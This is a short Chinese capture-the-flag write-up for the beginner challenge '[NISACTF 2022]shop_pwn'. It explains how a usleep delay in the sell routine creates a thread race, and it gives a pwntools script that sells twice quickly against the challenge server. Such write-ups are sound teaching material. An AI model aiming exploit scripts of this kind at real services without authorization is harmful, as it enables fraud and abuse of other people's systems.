PWN入门-多线程竞争做题

[NISACTF 2022]shop_pwn

函数salebuy中都用pthread_create创建新线程,但只有to_sale函数中存在usleep可利用延时进行条件竞争。

连续两次快速卖出即可,实践证明加上recvuntil后时间就卡不进去。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node5.anna.nssctf.cn",28653)
p.sendline(b'3')
p.sendline(b'0')
p.sendline(b'3')
p.sendline(b'0')
p.sendline(b'2')
p.sendline(b'1')
p.interactive()